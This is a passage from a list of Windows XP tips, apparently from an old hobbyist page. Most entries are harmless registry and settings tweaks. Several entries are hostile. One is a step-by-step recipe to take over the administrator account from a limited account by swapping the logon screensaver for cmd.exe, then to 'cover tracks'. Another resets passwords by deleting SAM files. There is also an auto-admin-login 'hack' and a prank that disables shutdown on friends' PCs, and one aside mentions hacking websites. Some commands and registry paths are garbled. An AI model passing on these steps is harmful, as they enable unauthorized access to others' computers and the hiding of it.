6. Right-click on "Network Places" or "My Network Places" on your desktop.
7. Click on "properties"

You should now be on a screen with something titled "Local Area Connection", or something close to that, and, if you have a network hooked up, all of your other networks.

8. Right click on "Local Area Connection" and click "properties"
9. Double-click on the "Internet Protocol (TCP/IP)" from the list under the "General" tab
10. Click on "Use the following IP address" under the "General" tab
11. Create an IP address (It doesn't matter what it is. I just type 1 and 2 until i fill the area up).
12. Press "Tab" and it should automatically fill in the "Subnet Mask" section with default numbers.
13. Hit the "Ok" button here
14. Hit the "Ok" button again

You should now be back to the "Local Area Connection" screen.

15. Right-click back on "Local Area Connection" and go to properties again.
16. Go back to the "TCP/IP" settings
17. This time, select "Obtain an IP address automatically"
18. Hit "Ok"
19. Hit "Ok" again
20. You now have a new IP address

With a little practice, you can easily get this process down to 15 seconds.

*Note* This only changes your dynamic IP address, not your ISP/IP address. If you plan on hacking a website with this trick be extremely careful, because if they try a little, they can trace it back.

Speed up Internet Explorer 6 Favorites

For some reason, the Favorites menu in IE 6 seems to slow down dramatically sometimes--I've noticed this happens when you install Tweak UI 1.33, for example, and when you use the preview tip to speed up the Start menu. But here's a fix for the problem that does work, though it's unclear why: Just open a command line window (Start button -> Run -> cmd) and type sfc, then hit ENTER. This command line runs the System File Checker, which performs a number of services, all of which are completely unrelated to IE 6. But there you go: It works.

Aspi

WinXP does not come with an Aspi layer. So far almost 90% of the problems with WinXP and CD burning software are Aspi layer problems. After installing WinXP, before installing any CD burning software do a few things first: 1. Open up "My computer" and right click on the CD Recorder. If your CD recorder was detected as a CD recorder there will be a tab called "Recording". On this tab uncheck ALL of the boxes. apply or OK out of it and close my computer. 2. Next install the standard Aspi layer for NT. Reboot when asked. That's is. after the reboot you can install any of the currently working CD recording applications with no problems. If using CD Creator do not install direct CD or Take two as they are currently incompatible but Roxio has promised a fix as soon as XP is released.



Another way ...
Boot from win98 cd, delete the SAM, SAM.SAV, SAM.LOg files ( in sytem32/config folder ). Note: don't delete SAM.exe.

Create a Shortcut to Lock Your Computer

Leaving your computer in a hurry but you don’t want to log off? You can double-click a shortcut on your desktop to quickly lock the keyboard and display without using CTRL+ALT+DEL or a screen saver. To create a shortcut on your desktop to lock your computer: Right-click the desktop. Point to New, and then click Shortcut. The Create Shortcut Wizard opens. In the text box, type the following: rundll32.exe user32.dll,LockWorkStation Click Next. Enter a name for the shortcut. You can call it "Lock Workstation" or choose any name you like. Click Finish. You can also change the shortcut's icon (my personal favorite is the padlock icon in shell32.dll). To change the icon: Right click the shortcut and then select Properties. Click the Shortcut tab, and then click the Change Icon button. In the Look for icons in this file text box, type: Shell32.dll. Click OK. Select one of the icons from the list and then click OK You could also give it a shortcut keystroke such CTRL+ALT+L. This would save you only one keystroke from the normal command, but it could be more convenient.

Speeding Up Share Viewing:

This is a great tweak. Before I found it, I was always smashing my head against the table waiting to view shares on other computers. Basically, when you connect to another computer with Windows XP, it checks for any Scheduled tasks on that computer - a fairly useless task, but one that can add up to 30 seconds of waiting on the other end - not good! Fortunately, it's fairly easy to disable this process. First, navigate to HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Explorer/RemoteComputer/NameSpace in the Registry. Below that, there should be a key called {D6277990-4C6A-11CF-8D87-00AA0060F5BF}. Just delete this, and after a restart, Windows will no longer check for scheduled tasks - mucho performance improvement!

Automatically Kill Programs At Shutdown

don't you hate it when, while trying to shut down, you get message boxes telling you that a program is still running? Making it so that Windows automatically kills applications running is a snap. Simply navigate to the HKEY_CURRENT_USERControl PanelDesktop directory in the Registry, then alter the key AutoEndTasks to the value 1

Increasing options in add/remove programs:

Not a fan of MSN Messenger? don't want Windows Media Player on your system? Fair enough, but if you go to Add/Remove Programs in the Control Panel, by default none of Windows XP's 'built in' programs are visible. it's fairly easy to change, though... just open the file X:\Windows\inf\sysoc.inf (where X: is the drive letter where Windows XP is installed) in Notepad. You should see a section of the file something like this:

[Components]
NtComponents=ntoc.dll,NtOcSetupProc,,4
WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7
Display=desk.cpl,DisplayOcSetupProc,,7
Fax=fxsocm.dll,FaxOcmSetupProc,fxsocm.inf,,7
NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7
iis=iis.dll,OcEntry,iis.inf,,7
com=comsetup.dll,OcEntry,comnt5.inf,hide,7
dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7
IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7
TerminalServer=TsOc.dll, HydraOc, TsOc.inf,hide,2
msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6
ims=imsinsnt.dll,OcEntry,ims.inf,,7
fp_extensions=fp40ext.dll,FrontPage4Extensions,fp40ext.inf,,7
AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7
IEAccess=ocgen.dll,OcEntry,ieaccess.inf,,7

This is a list of all components installed at the moment. I've taken the example of MSN Messenger - the program entry called 'msmsgs', third-last line. You can see the word 'hide' highlighted - this is the string which tells Windows not to display the component in the Add/Remove Programs list. Fix this up by simply deleting the word 'hide' like so:

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7

To this:

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,,7

Now, after restarting, you should be able to see MSN Messenger in the Add/Remove Programs list. If you want to be able to quickly view and remove all components, simply open the sysoc.inf file and do a global find and replace for the word ",hide" and replace it with a single comma ",".

GPEDIT.MSC And Autoplay

A great tweaking file that comes with XP is gpedit.msc. Go to Start -> Run... and then type in 'gpedit.msc' and press enter. This is effectively the Policies Editor, and it comes in handy often. For example, if you hate CD autoplay like I do and want to permanently disable it, you can use this tool to do so. Just run gpedit.msc, then go to Computer Configuration -> Administrative Templates -> System. In here you can see the value 'Turn Off Autoplay'. Right-click on it and then click 'Properties'.

Menu Delays:

Another minor and easy tweak to remove any delay from menus sliding out. For this you will need to use regedit (open regedit by going to Start -> Run..., then typing 'regedit' and pressing enter). The key you need to change is located in HKEY_CURRENT_USERControl PanelDesktop. The actual key is called MenuShowDelay - all you have to do is change the value to 0. Remember, you will have to re-boot your computer for this tweak to take effect.

Automatic Administrator Login

Well here's the trick which you can use to prove that Windows XP is not at all secure as multi-user operating system. Hacking the system registry from any account having access to system registry puts you in to the administrator account.
REGEDIT 4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"AutoAdminLogon"="1"

No Shutdown:
Wanna play with your friends by removing the shutdown option from start menu in their computer.
Just hack it down !!!
Regedit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
"NoClose"="DWORD:1"

Registry Hacking

Display legal notice on startup:
Wanna tell your friends about the do's and dont's in your computer when they login in your absence. Well you can do it pretty easily by displaying a legal notice at system start up.
REGEDIT
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]
"legalnoticecaption"="enter your notice caption"
"legalnoticetext"="enter your legal notice text"

HOW TO HACK XP ADMINISTRATOR PASSWORD

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:
Start -> Run -> cmd
cd\
cd\windows\system32
mkdir temphack
copy logon.scr temphack\logon.scr
copy cmd.exe temphack\cmd.exe
del logon.scr rename cmd.exe logon.scr
exit
Now what you have just done is told the computer to backup the command program and the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt with out logging into XP. Once this happens if you enter this command minus the quotes
"net user password"

If the Administrator Account is called Frank and you want the password blah enter this
"net user Frank blah"
and this changes the password on franks machine to blah and your in.Have fun
p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks

NTLDR MISSING ERROR

If You Get An Error That NTLDR Is Missing During BOOTUP If You Have
FAT32 Partitions
Just Boot with a Win98 CD and copy the NTLDR or NTDETECT.COM files from the i386 Directory to root of the Windows root C:\ drive.
For NTFS:
1. Insert and boot from your WindowsXP CD.
2. At the first R=Repair option, press the R key
3. Press the number that corresponds to the correct location for the installation of Windows you want to repair
4. Enter in the administrator password when requested
5. Enter in the following commands
COPY X:\i386\NTLDR C\:
COPY X:\i386\NTDETECT.COM C:\ (Where X is the CD ROM DRIVE)
6. Take out the CD ROM and type exit

DELETE SYSTEM OPTIONS FROM START MENU

You can actually remove the Find and Run options from the start menu by performing a simple registry hack.
Go TO START -> RUN -> REGEDIT
like always Launch the registry editor and scroll down to the below key:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Right-click on the right pane and select New, DWORD Value.
Name it NoFind.(To remove the RUN option name it NoRun). Double-click the newly create DWORD to edit it's value
and enter 1 as its value. This will disable the FIND option of the Start Menu and will also disable the default
Shortcut key(F3 for Find.) To restore the Run or find command modify the value of the DWORD to 0 or simply Delete
the DWORD value.

POP A BANNER WINDOWS BOOT

To pop a banner which can contain any message you want to display just before a user is going to log on, go
to the key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon Now create a new string Value
in the right pane named LegalNoticeCaption and enter the value that you want to see in the Menu Bar. Now create
yet another new string value and name it: LegalNoticeText. Modify it and insert the message you want to display
each time Windows boots. This can be effectively used to display the company's private policy each time the user
logs on to his NT box. It's .reg file would be: REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT
\CurrentVersion\Winlogon] "LegalNoticeCaption"="Caption here."

LOCK UR PCYOURSELF

lock ur pc.. open notepad copy and paste the script below and save it .VBS extention
This wil create a shortcut.. run(click) it
set WshShell = WScript.CreateObject("WScript.Shell")
set oShellLink = WshShell.CreateShortcut(wshShell.SpecialFolders("Desktop") & "\LockWorkstation.lnk")
oShellLink.TargetPath = "%windir%\system32\rundll32.exe"
oShellLink.Arguments = "user32.dll,LockWorkStation"
oShellLink.Save

CLEANING RECENT DOCS MENU

The Recent Docs menu can be easily disabled by editing the Registry. To do this go to the following Key: START -> RUN -> REGEDIT
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer Now in the right pane, create a
new DWORD value by the name: NoRecentDocsMenu and set it's value to 1. Restart Explorer to save the changes.

Cleaning RUN MRU

clear the RUN MRU history. All the listings are stored in the key: HKEY_USERS\.Default\Software
\Microsoft\Windows\CurrentVersion\Explorer\RunMR U You can delete individual listings or the entire listing.
To delete History of Find listings go to: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Doc
Find Spec MRU and delete

HACKING WINDOWS SEND TO MENU

How often do you copy songs from a CD? Or some photos from a CD?

What do you do? You select the required files and do a CTRL –C. Open the destination folder and do a CTRL-V.
Here is something you can benefit time from. Customize your SEND TO MENU.

This sounds simple and you can do it in less than sixty seconds.
You can create your own BASKET.

First you’ll need access to hidden files. So change your view settings to make all hidden files visible.
Tools -> folder options -> view (tab) and select the show hidden files and folders.
go to parent drive:/documents and settings/(user name)/send to

Open up my computer and locate your most used folders.

Create a shortcut of the most used folders in SEND TO FOLDER.You can do this in a number of ways.

Right click -> send to desktop(create shortcut) and move the shortcut from the desktop to the SEND TO FOLDER

Copy the most used folder and go to SEND TO FOLDER and right click -> paste shortcut.

Also remember to rename the shortcuts to send to videos or send to potos. We don’t need confusion when we use
the same later.

DONE

REMOVE THE SHORTCUT ARROWS OF DESKTOP

Open Regedit and navigate to the following key:

HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Explorer \ Shell Icons
Backup the key. More information.
In the right-pane, create a new String value named "29"
Double-click 29 and set its data to:

C:\Windows\System32\shell32.dll,50 (an empty icon)
Close Registry Editor.

Now,

Right-click Desktop, choose Properties
Click the Appearance Tab.

Click Advanced button.

Choose Icon from the drop-down list

Set it's size to 31 and press OK, OK.

The changes will be applied now. Repeat the above steps and then set the Icon size back to 32 (defaults).
The above steps are required to force Windows to redraw the icons

TURN NUMLOCK ON AT LOGON.!

NumLock does not toggle on by default (system-wide), even if you have it set in your PC's BIOS, because of XP's
multi-user functionality. Guess Microsoft doesn't know everyone actually turns it on, which should be reason enough
for what acts as "default"...
Anyway, you can hack the Windows Registry to change this behavior, or run a script at logon to turn NumLock on.
1. To enable NumLock through the Registry:
* Open Windows' Registry Editor (START > RUN, type "REGEDIT").
*. Navigate to HKEY_USERS\.Default\Control Panel\Keyboard.
*. Change the value for InitialKeyboardIndicators from 0 to 2.
2. To enable NumLock using a script, see this MS Knowledgebase article for complete instructions:
CODEhttp://support.microsoft.com/directory/article.asp?ID=KB;EN-US;Q262625
Option 1 is the quicker method, but if you have more than one user on your system and one or more don't want NumLock
on (stranger things have been known of), then option 2 is the way to go since it allows you to only attach the script
to specific users.

REMOVE MSN INSTANT MESSANGER

GO To Start->Run And Type In rundll32 setupapi,InstallHin fSection BLC.Remove 128 %SystemRoot% \INF\msmsgs. inf and hit ENTER. Do a copy and paste to avoid typographical errors

REMOVE INTERNET EXPLORER

Microsoft said that removing IE may make Windows unstable because it has key components that makes Windows function properly. Well, there is a way to remove it completely. Go to this site and get IEradicator. Many people have used it before and removed IE with no problems afterwards

SHUTDOWN WINDOWS FASTER

All versions of Windows have the same problem. It usually takes a little longer to shutdown when you have the Exit Sound enabled. To disable this go to Start->Settings->Control Panel->Sounds and Audio Devices->Sounds. Scroll down and look for Exit Windows . Click on it once and then under Sounds, choose None. You should see faster shutdown times.

CLEAN OUT FILES PREFETCH FOLDER

There are files located in the Prefetch folder (C:\Windows\Prefetch ) that you may safely delete. These files are usually left there by other programs that were using. You can either manually delete them or use this batch file that I created to do it. All you need to do is unzip the file called prefetch.bat into your Desktop and then double click on it. You will see the command prompt come up shortly and disappear. That's it.

REMOVE TEMPRORY FILES FROM TEMP FOLDER

You may have noticed that .tmp files appear in the Temp folder ( C:\Windows\Temp). You may delete these files. Since these files might be accessed by another program, it's a good idea to delete these when you don't have any programs open. It's best to do this right after you login to ensure that no programs are using it. If you don't want to bother going into that folder every time to delete it, you can download xp_downloads. zip which contains a file called del_temp.bat . Just extract that file and double click on it to run it

ADD PROG/FOLDERS SEND TO MENU

When you right click on a file/folder and choose SendTo, you will get a list of programs/folders to send it to. Let's just say that you want to add or delete one of your own programs/folders. This could be accomplished very easily. Just navigate to C:\Documents and Settings\your_ username\ SendTo. In this folder you may add or delete any program/folder shortcuts. All you need to do is right click on the program you want to add, and drag and drop (choose Create Shortcuts Here) it into the SendTo folder.

SET USER LOGON HOURS

You can restrict a certain user to only use the computer at a certain time interval. Let's say you have a username called Bill and you want Bill to access the computer only from 9AM - 9PM from Monday through Friday. You can do this by going to Start->Run and type in net user Bill /time:M-F,9am- 9pm. For 24-hour time, you can replace the time with 09:00-21:00 instead. This will only allow the user to login during those hours on those days.

DISABLE HIBERNATE MODE

The hibernation file which allows a user to use hibernation mode takes up a lot of space. If you use this feature you are allocating/creating space so that when you come back everything (programs and folders) are still open. If you don't use it that much then there's not much sense keeping it. So you may remove it. Go to Start->Control Panel->Power Options->Hibernate tab and uncheck Enable hibernation. That should remove the actual hibernation file. You may double check by doing a Search (F3 key) and search for hiberfil.sys in the C: drive. It shouldn't be found, but if it is, you may safely delete it.

REINSTALL WINDOWS XP

This has probably happened to most of us already. We have XP installed already and when we reinstall it, we are asked to go online and activate it again. You can avoid doing that by backing up a very small file that has the activation information. Before you do this, keep in mind that your hardware should be the same as before when you activated in order for this to definitely work. Go to C:\Windows\System32 and look for wpa.dbl. Copy that file to a floppy. After you finished reinstalling XP, just rename the current wpa.dbl file in C:\Windows\System32 to something like wpa.old